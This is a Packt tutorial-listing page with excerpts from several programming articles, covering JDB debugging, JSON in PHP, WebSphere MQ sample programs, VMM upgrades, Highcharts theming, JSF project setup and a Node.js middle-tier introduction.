Search icon CANCEL
Subscription
0
Cart icon
Your Cart (0 item)
Close icon
You have no products in your basket yet
Save more on your purchases! discount-offer-chevron-icon
Savings automatically calculated. No voucher code required.
Arrow left icon
Explore Products
Best Sellers
New Releases
Books
Events
Videos
Audiobooks
Packt Hub
Free Learning
Arrow right icon
timer SALE ENDS IN
0 Days
:
00 Hours
:
00 Minutes
:
00 Seconds

How-To Tutorials

7018 Articles
article-image-debugging-java-programs-using-jdb
Packt
23 Jun 2010
6 min read
Save for later

Debugging Java Programs using JDB

Packt
23 Jun 2010
6 min read
In this article by Nataraju Neeluru, we will learn how to debug a Java program using a simple command-line debugging tool called JDB. JDB is one of the several debuggers available for debugging Java programs. It comes as part of the Sun's JDK. JDB is used by a lot of people for debugging purposes, for the main reason that it is very simple to use, lightweight and being a command-line tool, is very fast. Those who are familiar with debugging C programs with gdb, will be more inclined to use JDB for debugging Java programs. We will cover most of the commonly used and needed JDB commands for debugging Java programs. Nothing much is assumed to read this article, other than some familiarity with Java programming and general concepts of debugging like breakpoint, stepping through the code, examining variables, etc. Beginners may learn quite a few things here, and experts may revise their knowledge. (For more resources on Java, see here.) Introduction JDB is a debugging tool that comes along with the Sun's JDK. The executable exists in JAVA_HOME/bin as 'jdb' on Linux and 'jdb.exe' on Windows (where JAVA_HOME is the root directory of the JDK installation). A few notes about the tools and notation used in this article: We will use 'jdb' on Linux for illustration throughout this article, though the JDB command set is more or less same on all platforms. All the tools (like jdb, java) used in this article are of JDK 5, though most of the material presented here holds true and works in other versions also. '$' is the command prompt on the Linux machine on which the illustration is carried out. We will use 'JDB' to denote the tool in general, and 'jdb' to denote the particular executable in JDK on Linux. JDB commands are explained in a particular sequence. If that sequence is changed, then the output obtained may be different from what is shown in this article. Throughout this article, we will use the following simple Java program for debugging: public class A{ private int x; private int y; public A(int a, int b) { x = a; y = b; } public static void main(String[] args) { System.out.println("Hi, I'm main.. and I'm going to call f1"); f1(); f2(3, 4); f3(4, 5); f4(); f5(); } public static void f1() { System.out.println("I'm f1..."); System.out.println("I'm still f1..."); System.out.println("I'm still f1..."); } public static int f2(int a, int b) { return a + b; } public static A f3(int a, int b) { A obj = new A(a, b); obj.reset(); return obj; } public static void f4() { System.out.println("I'm f4 "); } public static void f5() { A a = new A(5, 6); synchronized(a) { System.out.println("I'm f5, accessing a's fields " + a.x + " " + a.y); } } private void reset() { x = 0; y = 0; }} Let us put this code in a file called A.java in the current working directory, compile it using 'javac -g A.java' (note the '-g' option that makes the Java compiler generate some extra debugging information in the class file), and even run it once using 'java A' to see what the output is. Apparently, there is no bug in this program to debug it, but we will see, using JDB, how the control flows through this program. Recall that, this program being a Java program, runs on a Java Virtual Machine (JVM). Before we actually debug the Java program, we need to see that a connection is established between JDB and the JVM on which the Java program is running. Depending on the way JDB connects to the JVM, there are a few ways in which we can use JDB. No matter how the connection is established, once JDB is connected to the JVM, we can use the same set of commands for debugging. The JVM, on which the Java program to be debugged is running, is called the 'debuggee' here. Establishing the connection between JDB and the JVM In this section, we will see a few ways of establishing the connection between JDB and the JVM. JDB launching the JVM: In this option, we do not see two separate things as the debugger (JDB) and the debuggee(JVM), but rather we just invoke JDB by giving the initial class (i.e., the class that has the main() method) as an argument, and internally JDB 'launches' the JVM. $jdb AInitializing jdb ... At this point, the JVM is not yet started. We need to give 'run' command at the JDB prompt for the JVM to be started. JDB connecting to a running JVM: In this option, first start the JVM by using a command of the form: $java -Xdebug -Xrunjdwp:transport=dt_socket,server=y,address=6000 AListening for transport dt_socket at address: 6000 It says that the JVM is listening at port 6000 for a connection. Now, start JDB (in another terminal) as: $jdb -attach 6000Set uncaught java.lang.ThrowableSet deferred uncaught java.lang.ThrowableInitializing jdb ...>VM Started: No frames on the current call stack main[1] At this point, JDB is connected to the JVM. It is possible to do remote debugging with JDB. If the JVM is running on machine M1, and we want to run JDB on M2, then we can start JDB on M2 as: $jdb -attach M1:6000 JDB listening for a JVM to connect: In this option, JDB is started first, with a command of the form: $jdb -listen 6000Listening at address: adc2180852:6000 This makes JDB listen at port 6000 for a connection from the JVM. Now, start the JVM (from another terminal) as: $java -Xdebug -Xrunjdwp:transport=dt_socket,server=n,address=6000 A Once the above command is run, we see the following in the JDB terminal: Set uncaught java.lang.ThrowableSet deferred uncaught java.lang.ThrowableInitializing jdb ...>VM Started: No frames on the current call stack main[1] At this point, JDB has accepted the connection from the JVM. Here also, we can make the JVM running on machine M1 connect to a remote JDB running on machine M2, by starting the JVM as: $java -Xdebug -Xrunjdwp:transport=dt_socket,server=n,address=M2:6000 A
Read more
  • 0
  • 0
  • 8244

article-image-working-json-php-jquery
Packt
20 Dec 2010
5 min read
Save for later

Working with JSON in PHP jQuery

Packt
20 Dec 2010
5 min read
  PHP jQuery Cookbook Over 60 simple but highly effective recipes to create interactive web applications using PHP with jQuery Create rich and interactive web applications with PHP and jQuery Debug and execute jQuery code on a live site Design interactive forms and menus Another title in the Packt Cookbook range, which will help you get to grips with PHP as well as jQuery         Read more about this book       In this article, by Vijay Joshi, author of PHP jQuery Cookbook, we will cover: Creating JSON in PHP Reading JSON in PHP Catching JSON parsing errors Accessing data from a JSON in jQuery (For more resources on this subject, see here.) Introduction Recently, JSON (JavaScript Object Notation) has become a very popular data interchange format with more and more developers opting for it over XML. Even many web services nowadays provide JSON as the default output format. JSON is a text format that is programming-language independent and is a native data form of JavaScript. It is lighter and faster than XML because it needs less markup compared to XML. Because JSON is the native data form of JavaScript, it can be used on the client side in an AJAX application more easily than XML. A JSON object starts with { and ends with }. According to the JSON specification, the following types are allowed in JSON: Object: An object is a collection of key-value pairs enclosed between { and } and separated by a comma. The key and the value themselves are separated using a colon (:). Think of objects as associative arrays or hash tables. Keys are simple strings and values can be an array, string, number, boolean, or null. Array: Like other languages, an array is an ordered pair of data. For representing an array, values are comma separated and enclosed between [ and ]. String: A string must be enclosed in double quotes The last type is a number A JSON can be as simple as: { "name":"Superman", "address": "anywhere"} An example using an array is as follows: { "name": "Superman", "phoneNumbers": ["8010367150", "9898989898", "1234567890" ]} A more complex example that demonstrates the use of objects, arrays, and values is as follows:   { "people": [ { "name": "Vijay Joshi", "age": 28, "isAdult": true }, { "name": "Charles Simms", "age": 13, "isAdult": false } ]} An important point to note: { 'name': 'Superman', 'address': 'anywhere'} Above is a valid JavaScript object but not a valid JSON. JSON requires that the name and value must be enclosed in double quotes; single quotes are not allowed. Another important thing is to remember the proper charset of data. Remember that JSON expects the data to be UTF-8 whereas PHP adheres to ISO-8859-1 encoding by default. Also note that JSON is not a JavaScript; it is basically a specification or a subset derived from JavaScript. Now that we are familiar with JSON, let us proceed towards the recipes where we will learn how we can use JSON along with PHP and jQuery. Create a new folder and name it as Chapter 4. We will put all the recipes of this article together in this folder. Also put the jquery.js file inside this folder. To be able to use PHP's built-in JSON functions, you should have PHP version 5.2 or higher installed. Creating JSON in PHP This recipe will explain how JSON can be created from PHP arrays and objects Getting ready Create a new folder inside the Chapter4 directory and name it as Recipe1. How to do it... Create a file and save it by the name index.php in the Recipe1 folder. Write the PHP code that creates a JSON string from an array. <?php $travelDetails = array( 'origin' => 'Delhi', 'destination' => 'London', 'passengers' => array ( array('name' => 'Mr. Perry Mason', 'type' => 'Adult', 'age'=> 28), array('name' => 'Miss Irene Adler', 'type' => 'Adult', 'age'=> 28) ), 'travelDate' => '17-Dec-2010' ); echo json_encode($travelDetails);?> Run the file in your browser. It will show a JSON string as output on screen. After indenting the result will look like the following: { "origin":"Delhi","destination":"London","passengers":[ { "name":"Mr. Perry Mason", "type":"Adult", "age":28 }, { "name":"Miss Irene Adler", "type":"Adult", "age":28 }],"travelDate":"17-Dec-2010"} How it works... PHP provides the function json_encode() to create JSON strings from objects and arrays. This function accepts two parameters. First is the value to be encoded and the second parameter includes options that control how certain special characters are encoded. This parameter is optional. In the previous code we created a somewhat complex associative array that contains travel information of two passengers. Passing this array to json_encode() creates a JSON string. There's more... Predefined constants Any of the following constants can be passed as a second parameter to json_encode(). JSON_HEX_TAG: Converts < and > to u003C and u003E JSON_HEX_AMP: Converts &s to u0026 JSON_HEX_APOS: Converts ' to u0027 JSON_HEX_QUOT: Converts " to u0022 JSON_FORCE_OBJECT: Forces the return value in JSON string to be an object instead of an array These constants require PHP version 5.3 or higher.
Read more
  • 0
  • 0
  • 8233

article-image-websphere-mq-sample-programs
Packt
25 Aug 2010
5 min read
Save for later

WebSphere MQ Sample Programs

Packt
25 Aug 2010
5 min read
(For more resources on IBM, see here.) WebSphere MQ sample programs—server There is a whole set of sample programs available to the WebSphere MQ administrator. We are interested in only a couple of them: the program to put a message onto a queue and a program to retrieve a message from a queue. The names of these sample programs depend on whether we are running WebSphere MQ as a server or as a client. There is a server sample program called amqsput, which puts messages onto a queue using the MQPUT call. This sample program comes as part on the WebSphere MQ samples installation package, not as part of the base package. The maximum length of message that we can put onto a queue using the amqsput sample program is 100 bytes. There is a corresponding server sample program to retrieve messages from a queue called amqsget. Use the sample programs only when testing that the queues are set up correctly—do NOT use the programs once Q Capture and Q Apply have been started. This is because Q replication uses dense numbering between Q Capture and Q Apply, and if we insert or retrieve a message, then the dense numbering will not be maintained and Q Apply will stop. The usual response to this is to cold start Q Capture! To put a message onto a Queue (amqsput) The amqsput utility can be invoked from the command line or from within a batch program. If we are invoking the utility from the command line, the format of the command is: $ amqsput <Queue> <QM name> < <message> We would issue this command from the system on which the Queue Manager sits. We have to specify the queue (<Queue>) that we want to put the message on, and the Queue Manager (<QM name>) which controls this queue. We then pipe (<) the message (<message>) into this. An example of the command is: $ amqsput CAPA.TO.APPB.SENDQ.REMOTE QMA < hello We put these commands into an appropriately named batch fle (say SYSA_QMA_TESTP_UNI_AB.BAT), which would contain the following: Batch file—Windows example: call "C:Program FilesIBMWebSphere MQbinamqsput" CAPA.TO.APPB.SENDQ.REMOTE QMA < QMA_TEST1.TXT Batch file—UNIX example: "/opt/mqm/samp/bin/amqsput" CAPA.TO.APPB.SENDQ.REMOTE QMA < QMA_TEST1.TXT Where the QMA_TEST1.TXT fle contains the message we want to send. Once we have put a message onto the Send Queue, we need to be able to retrieve it. To retrieve a message from a Queue(amqsget) The amqsget utility can be invoked from the command line or from within a batch program. The utility takes 15 seconds to run. We need to specify the Receive Queue that we want to read from and the Queue Manager that the queue belongs to: $ amqsget <Queue> <QM name> As example of the command is shown here: $ amqsget CAPA.TO.APPB.RECVQ QMB If we have correctly set up all the queues, and the Listeners and Channels are running, then when we issue the preceding command, we should see the message we put onto the Send Queue. We can put the amqsget command into a batch fle, as shown next: Batch file—Windows example: @ECHO This takes 15 seconds to runcall "C:Program FilesIBMWebSphere MQbinamqsget" CAPA.TO.APPB.RECVQ QMB@ECHO You should see: test1 Batch file—UNIX example: echo This takes 15 seconds to run"/opt/mqm/samp/bin/amqsget" CAPA.TO.APPB.RECVQ QMBecho You should see: test1 Using these examples and putting messages onto the queues in a unidirectional scenario, then the "get" message batch fle for QMA (SYSA_QMA_TESTG_UNI_BA.BAT) contains: @ECHO This takes 15 seconds to runcall "C:Program FilesIBMWebSphere MQbinamqsget" CAPA.ADMINQ QMA@ECHO You should see: test2 From CLP-A, run the fle as: $ SYSA_QMA_TESTG_UNI_BA.BAT The "get" message batch file for QMB (SYSB_QMB_TESTG_UNI_AB.BAT) contains: @ECHO This takes 15 seconds to runcall "C:Program FilesIBMWebSphere MQbinamqsget" CAPA.TO.APPB.RECVQ QMB@ECHO You should see: test1 From CLP-B, run the file as: $ SYSB_QMB_TESTG_UNI_AB.BAT To browse a message on a Queue It is useful to be able to browse a queue, especially when setting up Event Publishing. There are three ways to browse the messages on a Local Queue. We can use the rfhutil utility, or the amqsbcg sample program, both of which are WebSphere MQ entities, or we can use the asnqmfmt Q replication command. Using the WebSphere MQ rfhutil utility: The rfhutil utility is part of the WebSphere MQ support pack available to download from the web—to find the current download website, simply type rfhutil into an internet search engine. The installation is very simple—unzip the file and run the rfhutil.exe file. Using the WebSphere MQ amqsbcg sample program: The amqsbcg sample program displays messages including message descriptors. $ amqsbcg CAPA.TO.APPB.RECVQ QMB
Read more
  • 0
  • 0
  • 8228

article-image-upgrading-previous-versions
Packt
23 Jun 2014
8 min read
Save for later

Upgrading from Previous Versions

Packt
23 Jun 2014
8 min read
(For more resources related to this topic, see here.) This article is about guiding you through the requirements and steps necessary to upgrade your VMM 2008 R2 SP1 to VMM 2012 R2. There is no direct upgrade path from VMM 2008 R2 SP1 to VMM 2012 R2. You must first upgrade to VMM 2012 and then to VMM 2012 R2. VMM 2008 R2 SP1-> VMM 2012-> SCVMM 2012 SP1 -> VMM 2012 R2 is the correct upgrade path. Upgrade notes: VMM 2012 cannot be upgraded directly to VMM 2012 R2. Upgrading it to VMM 2012 SP1 is required VMM 2012 can be installed on a Windows 2008 Server VMM 2012 SP1 requires Windows 2012 VMM 2012 R2 requires minimum Windows 2012 (Windows 2012 R2 is recommended) Windows 2012 hosts can be managed by VMM 2012 SP1 Windows 2012 R2 hosts require VMM 2012 R2 System Center App Controller versions must match the VMM version To debug a VMM installation, the logs are located in %ProgramData%VMMLogs, and you can use the CMTrace.exe tool to monitor the content of the files in real time, including SetupWizard.log and vmmServer.log. VMM 2012 Architecture, VMM 2012 is a huge product upgrade, and there have been many improvements. This article only covers the VMM upgrade. If you have a previous version of System Center family components installed on your environment, make sure you follow the upgrade and installation. System Center 2012 R2 has some new components, in which the installation order is also critical. It is critical that you take the steps documented by Microsoft in Upgrade Sequencing for System Center 2012 R2 at http://go.microsoft.com/fwlink/?LinkId=328675 and use the following upgrade order: Service Management Automation Orchestrator Service Manager Data Protection Manager (DPM) Operations Manager Configuration Manager Virtual Machine Manager (VMM) App Controller Service Provider Foundation Windows Azure Pack for Windows Server Service Bus Clouds Windows Azure Pack Service Reporting Reviewing the upgrade options This recipe will guide you through the upgrade options for VMM 2012 R2. Keep in mind that there is no direct upgrade path from VMM 2008 R2 to VMM 2012 R2. How to do it... Read through the following recommendations in order to upgrade your current VMM installation. In-place upgrade from VMM 2008 R2 SP1 to VMM 2012 Use this method if your system meets the requirements for a VMM 2012 upgrade and you want to deploy it on the same server. The supported VMM version to upgrade from is VMM 2008 R2 SP1. If you need to upgrade VMM 2008 R2 to VMM 2008 R2 SP1, refer to http://go.microsoft.com/fwlink/?LinkID=197099. In addition, keep in mind that if you are running the SQL Server Express version, you will need to upgrade SQL Server to a fully supported version beforehand as the Express version is not supported in VMM 2012. Once the system requirements are met and all of the prerequisites are installed, the upgrade process is straightforward. To follow the detailed recipe, refer to the Upgrading to VMM 2012 R2 recipe. Upgrading from 2008 R2 SP1 to VMM 2012 on a different computer Sometimes, you may not be able to do an in-place upgrade to VMM 2012 or even to VMM 2012 SP1. In this case, it is recommended that you use the following instructions: Uninstall the current VMM that retains the database and then restore the database on a supported version of SQL Server. Next, install the VMM 2012 prerequisites on a new server (or on the same server, as long it meets the hardware and OS requirements). Finally, install VMM 2012, providing the retained database information on the Database configuration dialog, and the VMM setup will upgrade the database. When the install process is finished, upgrade the Hyper-V hosts with the latest VMM agents. The following figure illustrates the upgrade process from VMM 2008 R2 SP1 to VMM 2012: When performing an upgrade from VMM 2008 R2 SP1 with a local VMM database to a different server, the encrypted data will not be preserved as the encryption keys are stored locally. The same rule applies when upgrading from VMM 2012 to VMM 2012 SP1 and from VMM 2012 SP1 to VMM 2012 R2 and not using Distributed Key Management (DKM) in VMM 2012. Upgrading from VMM 2012 to VMM 2012 SP1 To upgrade to VMM 2012 SP1, you should already have VMM 2012 up and running. VMM 2012 SP1 requires a Windows Server 2012 and Windows ADK 8.0. If planning an in-place upgrade, back up the VMM database; uninstall VMM 2012 and App Controller (if applicable), retaining the database; perform an OS upgrade; and then install VMM 2012 SP1 and App Controller. Upgrading from VMM 2012 SP1 to VMM 2012 R2 To upgrade to VMM 2012 R2, you should already have VMM 2012 SP1 up and running. VMM 2012 R2 requires minimum Windows Server 2012 as the OS (Windows 2012 R2 is recommended) and Windows ADK 8.1. If planning an in-place upgrade, back up the VMM database; uninstall VMM 2012 SP1 and App Controller (if applicable), retaining the database; perform an OS upgrade; and then install VMM 2012 R2 and App Controller. Some more planning considerations are as follows: Virtual Server 2005 R2: VMM 2012 does not support Microsoft Virtual Server 2005 R2 anymore. If you have Virtual Server 2005 R2 or an unsupported ESXi version running and have not removed these hosts before the upgrade, they will be removed automatically during the upgrade process. VMware ESX and vCenter: For VMM 2012, the supported versions of VMware are from ESXi 3.5 to ESXi 4.1 and vCenter 4.1. For VMM 2012 SP1/R2, the supported VMware versions are from ESXi 4.1 to ESXi 5.1, and vCenter 4.1 to 5.0. SQL Server Express: This is not supported since VMM 2012. A full version is required. Performance and Resource Optimization (PRO): The PRO configurations are not retained during an upgrade to VMM 2012. If you have an Operations Manager (SCOM) integration configured, it will be removed during the upgrade process. Once the upgrade process is finished, you can integrate SCOM with VMM. Library server: Since VMM 2012, VMM does not support a library server on Windows Server 2003. If you have it running and continue with the upgrade, you will not be able to use it. To use the same library server in VMM 2012, move it to a server running a supported OS before starting the upgrade. Choosing a service account and DKM settings during an upgrade: During an upgrade to VMM 2012, on the Configure service account and distributed key management page of the setup, you are required to create a VMM service account (preferably a domain account) and choose whether you want to use DKM to store the encryption keys in Active Directory (AD). Make sure to log on with the same account that was used during the VMM 2008 R2 installation: This needs to be done because, in some situations after the upgrade, the encrypted data (for example, the passwords in the templates) may not be available depending on the selected VMM service account, and you will be required to re-enter it manually. For the service account, you can use either the Local System account or a domain account: This is the recommended option, but when deploying a highly available VMM management server, the only option available is a domain account. Note that DKM is not available with the versions prior to VMM 2012. Upgrading to a highly available VMM 2012: If you're thinking of upgrading to a High Available (HA) VMM, consider the following: Failover Cluster: You must deploy the failover cluster before starting the upgrade. VMM database: You cannot deploy the SQL Server for the VMM database on highly available VMM management servers. If you plan on upgrading the current VMM Server to an HA VMM, you need to first move the database to another server. As a best practice, it is recommended that you have the SQL Server cluster separated from the VMM cluster. Library server: In a production or High Available environment, you need to consider all of the VMM components to be High Available as well, and not only the VMM management server. After upgrading to an HA VMM management server, it is recommended, as a best practice, that you relocate the VMM library to a clustered file server. In order to keep the custom fields and properties of the saved VMs, deploy those VMs to a host and save them to a new VMM 2012 library. VMM Self-Service Portal: This is not supported since VMM 2012 SP1. It is recommended that you install System Center App Controller instead. How it works... There are two methods to upgrade to VMM 2012 from VMM 2008 R2 SP1: an in-place upgrade and upgrading to another server. Before starting, review the initial steps and the VMM 2012 prerequisites and perform a full backup of the VMM database. Uninstall VMM 2008 R2 SP1 (retaining the data) and restore the VMM database to another SQL Server running a supported version. During the installation, point to that database in order to have it upgraded. After the upgrade is finished, upgrade the host agents. VMM will be rolled back automatically in the event of a failure during the upgrade process and reverted to its original installation/configuration. There's more... The names of the VMM services have been changed in VMM 2012. If you have any applications or scripts that refer to these service names, update them accordingly as shown in the following table: VMM version VMM service display name Service name 2008 R2 SP1 Virtual Machine Manager vmmservice   Virtual Machine Manager Agent vmmagent 2012 / 2012 SP1/ 2012 R2 System Center Virtual Machine Manager scvmmservice   System Center Virtual Machine Manager Agent scvmmagent See also To move the file-based resources (for example, ISO images, scripts, and VHD/VHDX), refer to http://technet.microsoft.com/en-us/library/hh406929 To move the virtual machine templates, refer to Exporting and Importing Service Templates in VMM at http://go.microsoft.com/fwlink/p/?LinkID=212431
Read more
  • 0
  • 0
  • 8226

article-image-theming-highcharts
Packt
30 Oct 2014
10 min read
Save for later

Theming with Highcharts

Packt
30 Oct 2014
10 min read
Besides the charting capabilities offered by Highcharts, theming is yet another strong feature of Highcharts. With its extensive theming API, charts can be customized completely to match the branding of a website or an app. Almost all of the chart elements are customizable through this API. In this article by Bilal Shahid, author of Highcharts Essentials, we will do the following things: (For more resources related to this topic, see here.) Use different fill types and fonts Create a global theme for our charts Use jQuery easing for animations Using Google Fonts with Highcharts Google provides an easy way to include hundreds of high quality web fonts to web pages. These fonts work in all major browsers and are served by Google CDN for lightning fast delivery. These fonts can also be used with Highcharts to further polish the appearance of our charts. This section assumes that you know the basics of using Google Web Fonts. If you are not familiar with them, visit https://developers.google.com/fonts/docs/getting_started. We will style the following example with Google Fonts. We will use the Merriweather family from Google Fonts and link to its style sheet from our web page inside the <head> tag: <link href='http://fonts.googleapis.com/css?family=Merriweather:400italic,700italic' rel='stylesheet' type='text/css'> Having included the style sheet, we can actually use the font family in our code for the labels in yAxis: yAxis: [{ ... labels: {    style: {      fontFamily: 'Merriweather, sans-serif',      fontWeight: 400,      fontStyle: 'italic',      fontSize: '14px',      color: '#ffffff'    } } }, { ... labels: {    style: {      fontFamily: 'Merriweather, sans-serif',      fontWeight: 700,      fontStyle: 'italic',      fontSize: '21px',      color: '#ffffff'    },    ... } }] For the outer axis, we used a font size of 21px with font weight of 700. For the inner axis, we lowered the font size to 14px and used font weight of 400 to compensate for the smaller font size. The following is the modified speedometer: In the next section, we will continue with the same example to include jQuery UI easing in chart animations. Using jQuery UI easing for series animation Animations occurring at the point of initialization of charts can be disabled or customized. The customization requires modifying two properties: animation.duration and animation.easing. The duration property accepts the number of milliseconds for the duration of the animation. The easing property can have various values depending on the framework currently being used. For a standalone jQuery framework, the values can be either linear or swing. Using the jQuery UI framework adds a couple of more options for the easing property to choose from. In order to follow this example, you must include the jQuery UI framework to the page. You can also grab the standalone easing plugin from http://gsgd.co.uk/sandbox/jquery/easing/ and include it inside your <head> tag. We can now modify the series to have a modified animation: plotOptions: { ... series: {    animation: {      duration: 1000,      easing: 'easeOutBounce'    } } } The preceding code will modify the animation property for all the series in the chart to have duration set to 1000 milliseconds and easing to easeOutBounce. Each series can have its own different animation by defining the animation property separately for each series as follows: series: [{ ... animation: {    duration: 500,    easing: 'easeOutBounce' } }, { ... animation: {    duration: 1500,    easing: 'easeOutBounce' } }, { ... animation: {      duration: 2500,    easing: 'easeOutBounce' } }] Different animation properties for different series can pair nicely with column and bar charts to produce visually appealing effects. Creating a global theme for our charts A Highcharts theme is a collection of predefined styles that are applied before a chart is instantiated. A theme will be applied to all the charts on the page after the point of its inclusion, given that the styling options have not been modified within the chart instantiation. This provides us with an easy way to apply custom branding to charts without the need to define styles over and over again. In the following example, we will create a basic global theme for our charts. This way, we will get familiar with the fundamentals of Highcharts theming and some API methods. We will define our theme inside a separate JavaScript file to make the code reusable and keep things clean. Our theme will be contained in an options object that will, in turn, contain styling for different Highcharts components. Consider the following code placed in a file named custom-theme.js. This is a basic implementation of a Highcharts custom theme that includes colors and basic font styles along with some other modifications for axes: Highcharts.customTheme = {      colors: ['#1BA6A6', '#12734F', '#F2E85C', '#F27329', '#D95D30', '#2C3949', '#3E7C9B', '#9578BE'],      chart: {        backgroundColor: {            radialGradient: {cx: 0, cy: 1, r: 1},            stops: [                [0, '#ffffff'],                [1, '#f2f2ff']            ]        },        style: {            fontFamily: 'arial, sans-serif',            color: '#333'        }    },    title: {        style: {            color: '#222',            fontSize: '21px',            fontWeight: 'bold'        }    },    subtitle: {        style: {            fontSize: '16px',            fontWeight: 'bold'        }    },    xAxis: {        lineWidth: 1,        lineColor: '#cccccc',        tickWidth: 1,        tickColor: '#cccccc',        labels: {            style: {                fontSize: '12px'            }        }    },    yAxis: {        gridLineWidth: 1,        gridLineColor: '#d9d9d9',        labels: {           style: {                fontSize: '12px'            }        }    },    legend: {        itemStyle: {            color: '#666',            fontSize: '9px'        },        itemHoverStyle:{            color: '#222'        }      } }; Highcharts.setOptions( Highcharts.customTheme ); We start off by modifying the Highcharts object to include an object literal named customTheme that contains styles for our charts. Inside customTheme, the first option we defined is for series colors. We passed an array containing eight colors to be applied to series. In the next part, we defined a radial gradient as a background for our charts and also defined the default font family and text color. The next two object literals contain basic font styles for the title and subtitle components. Then comes the styles for the x and y axes. For the xAxis, we define lineColor and tickColor to be #cccccc with the lineWidth value of 1. The xAxis component also contains the font style for its labels. The y axis gridlines appear parallel to the x axis that we have modified to have the width and color at 1 and #d9d9d9 respectively. Inside the legend component, we defined styles for the normal and mouse hover states. These two states are stated by itemStyle and itemHoverStyle respectively. In normal state, the legend will have a color of #666 and font size of 9px. When hovered over, the color will change to #222. In the final part, we set our theme as the default Highcharts theme by using an API method Highcharts.setOptions(), which takes a settings object to be applied to Highcharts; in our case, it is customTheme. The styles that have not been defined in our custom theme will remain the same as the default theme. This allows us to partially customize a predefined theme by introducing another theme containing different styles. In order to make this theme work, include the file custom-theme.js after the highcharts.js file: <script src="js/highcharts.js"></script> <script src="js/custom-theme.js"></script> The output of our custom theme is as follows: We can also tell our theme to include a web font from Google without having the need to include the style sheet manually in the header, as we did in a previous section. For that purpose, Highcharts provides a utility method named Highcharts.createElement(). We can use it as follows by placing the code inside the custom-theme.js file: Highcharts.createElement( 'link', {    href: 'http://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,700italic,400,300,700',    rel: 'stylesheet',    type: 'text/css' }, null, document.getElementsByTagName( 'head' )[0], null ); The first argument is the name of the tag to be created. The second argument takes an object as tag attributes. The third argument is for CSS styles to be applied to this element. Since, there is no need for CSS styles on a link element, we passed null as its value. The final two arguments are for the parent node and padding, respectively. We can now change the default font family for our charts to 'Open Sans': chart: {    ...    style: {        fontFamily: "'Open Sans', sans-serif",        ...    } } The specified Google web font will now be loaded every time a chart with our custom theme is initialized, hence eliminating the need to manually insert the required font style sheet inside the <head> tag. This screenshot shows a chart with 'Open Sans' Google web font. Summary In this article, you learned about incorporating Google fonts and jQuery UI easing into our chart for enhanced styling. Resources for Article: Further resources on this subject: Integrating with other Frameworks [Article] Highcharts [Article] More Line Charts, Area Charts, and Scatter Plots [Article]
Read more
  • 0
  • 0
  • 8224

article-image-java-server-faces-jsf-tools
Packt
07 Oct 2009
5 min read
Save for later

Java Server Faces (JSF) Tools

Packt
07 Oct 2009
5 min read
Throughout this article, we will follow the "learning by example" technique, and we will develop a completely functional JSF application that will represent a JSF registration form as you can see in the following screenshot. These kinds of forms can be seen on many sites, so it will be very useful to know how to develop them with JSF Tools. The example consists of a simple JSP page, named register.jsp, containing a JSF form with four fields (these fields will be mapped into a managed bean), as follows: personName – this is a text field for the user's name personAge – this is a text field for the user's age personPhone – this is a text field for the user's phone number personBirthDate – this is a text field for the user's birth date The information provided by the user will be properly converted and validated using JSF capabilities. Afterwards, the information will be displayed on a second JSP page, named success.jsp. Overview of JSF Java Server Faces (JSF) is a popular framework used to develop User Interfaces (UI) for server-based applications (it is also known as JSR 127 and is a part of J2EE 1.5). It contains a set of UI components totally managed through JSF support, like handling events, validation, navigation rules, internationalization, accessibility, customizability, and so on. In addition, it contains a tag library for expressing UI components within a JSP page. Among JSF features, we mention the ones that JSF provides: A set of base UI components Extension of the base UI components to create additional UI component libraries Custom UI components Reusable UI components Read/write application date to and from UI components Managing UI state across server requests Wiring client-generated events to server-side application code Multiple rendering capabilities that enable JSF UI components to render themselves differently depending on the client type JSF is tool friendly JSF is implementation agnostic Abstract away from HTTP, HTML, and JSP Speaking of JSF life cycle, you should know that every JSF request that renders a JSP involves a JSF component tree, also called a view. Each request is made up of phases. By standard, we have the following phases (shown in the following figure): The restore view is built Request values are applied Validations are processed Model values are updated The applications is invoked A response is rendered During the above phases, the events are notified to event listeners We end this overview with a few bullets regarding JSF UI components: A UI component can be anything from a simple to a complex user interface (for example, from a simple text field to an entire page) A UI component can be associated to model data objects through value binding A UI component can use helper objects, like converters and validators A UI component can be rendered in different ways, based on invocation A UI component can be invoked directly or from JSP pages using JSF tag libraries Creating a JSF project stub In this section you will see how to create a JSF project stub with JSF Tools. This is a straightforward task that is based on the following steps: From the File menu, select New | Project option. In the New Project window, expand the JBoss Tools Web node and select the JSF Project option (as shown in the following screenshot). After that, click the Next button. In the next window, it is mandatory to specify a name for the new project (Project Name field), a location (Location field—only if you don't use the default path), a JSF implementation (JSF Environment field), and a template (Template field). As you can see, JSF Tools offers a set of predefined templates as follows: JSFBlankWithLibs—this is a blank JSF project with complete JSF support. JSFKickStartWithLibs—this is a demo JSF project with complete JSF support. JSFKickStartWithoutLibs—this is a demo JSF project without JSF support. In this case, the JSF libraries are missing for avoiding the potential conflicts with the servers that already offer JSF support. JSFBlankWithoutLibs—this is a blank JSF project without JSF support. In this case, the JSF libraries are missing for avoiding the potential conflicts with the servers that already offer JSF support (for example, JBoss AS includes JSF support). The next screenshot is an example of how to configure our JSF project at this step. At the end, just click the Next button: This step allows you to set the servlet version (Servlet Version field), the runtime (Runtime field) used for building and compiling the application, and the server where the application will be deployed (Target Server field). Note that this server is in direct relationship with the selected runtime. The following screenshot shows an example of how to complete this step (click on the Finish button): After a few seconds, the new JSF project stub is created and ready to take shape! You can see the new project in the Package Explorer view.
Read more
  • 0
  • 0
  • 8222
Unlock access to the largest independent learning library in Tech for FREE!
Get unlimited access to 7500+ expert-authored eBooks and video courses covering every tech area you can think of.
Renews at €18.99/month. Cancel anytime
article-image-building-middle-tier
Packt
23 Dec 2014
34 min read
Save for later

Building the Middle-Tier

Packt
23 Dec 2014
34 min read
In this article by Kerri Shotts , the author of the book PhoneGap for Enterprise covered how to build a web server that bridges the gap between our database backend and our mobile application. If you browse any Cordova/PhoneGap forum, you'll often come across posts asking how to connect to and query a backend database. In this article, we will look at the reasons why it is necessary to interact with your backend database using an intermediary service. If the business logic resides within the database, the middle-tier might be a very simple layer wrapping the data store, but it can also implement a significant portion of business logic as well. The middle-tier also usually handles session authentication logic. Although many enterprise projects will already have a middle-tier in place, it's useful to understand how a middle-tier works, and how to implement one if you ever need to build a solution from the ground up. In this article, we'll focus heavily on these topics: Typical middle-tier architecture Designing a RESTful-like API Implementing a RESTful-like hypermedia API using Node.js Connecting to the backend database Executing queries Handling authentication using Passport Building API handlers You are welcome to implement your middle-tier using any technology with which you are comfortable. The topics that we will cover in this article can be applied to any middle-tier platform. Middle-tier architecture It's tempting, especially for simple 